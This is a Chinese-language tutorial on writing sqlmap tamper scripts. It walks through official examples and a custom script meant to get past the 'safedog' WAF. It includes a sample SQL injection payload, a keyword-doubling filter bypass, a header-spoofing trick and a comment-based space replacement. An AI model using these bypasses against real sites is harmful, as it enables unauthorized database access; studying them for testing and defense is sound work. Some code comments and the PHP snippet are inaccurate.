sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
为了说明tamper的结构,让我们从一个最简单的例子开始
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs
返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。
第一部分完成了一个最简单的tamper架构,下面我们进行一个更详细的介绍
tamper是整个脚本的主体。主要用于修改原本的payload。
举个简单的例子,如果服务器上有这么几行代码
$id = trim($POST($id),'union');
$sql="SELECT * FROM users WHERE id='$id'";
而我们的payload为
-8363' union select null -- -
这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamper
def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')
保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test的参数,就可以绕过该过滤规则
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:
# sqlmap/tamper/echarunicodeencode.py
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
# singleTimeWarnMessage() 于在控制台中打印出警告信息
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
# sqlmap/tamper/vanrish.py
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-originating-IP"] = "127.0.0.1"
return payload
这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf
tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。
# sqlmap/lib/enums.py
class PRIORITY:
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
===============================================================================================
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。
当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。
由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析
#!/usr/bin/env Python #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法
""" #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
import re #导入python中的re 字符替换包,方便下面的字符替换
from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.NORMAL #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。
def tamper(payload, **kwargs): #定义tamper脚本,payload,**kwargs为定义的参数,其中**kwargs为字典存储,类似于{'a':1,'c':3,'b':2}
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
Replaces each keyword character with lower case value #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以
Tested against: #用于多种数据库。并且作用于弱防护效果的防火墙
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> tamper('INSERT')
'insert'
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
retVal = payload #将payload赋值给 retVal ,以便中间转换。
if payload: # 进行判断payload
for match in re.finditer(r"[A-Za-z_]+", retVal): # 对 retVal 【payload】进行小写查找
word = match.group() #将查找到的字母赋值给word
if word.upper() in kb.keywords: #如果在攻击载荷中有大写字母
retVal = retVal.replace(word, word.lower()) #将大写字母转换成小写字母。
return retVal #返回小写字母
到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母
#!/usr/bin/env python #此处代码可以直接从其他tamper复制粘贴过来
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明
See the file 'doc/COPYING' for copying permission
v0.0.1 #添加这个脚本的版本说明
2016.08.21 #添加我们写这个脚本的日期
"""
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性
def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3}
"""
To bypass safedog
Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
>>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload #将payload赋值给 retVal ,以便中间转换。
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响
for i in xrange(len(payload)): #在攻击载荷中逐个进行判断操作。
if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/)
continue #继续进行判断操作
elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换
quote = not quote
elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote
retVal += "/*|%20--%20|*/" #则进行编码转换
continue #继续执行
retVal += payload[i] #得到重新组合的payload
return retVal
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/
https://github.com/sqlmapproject/sqlmap/wiki
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
https://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries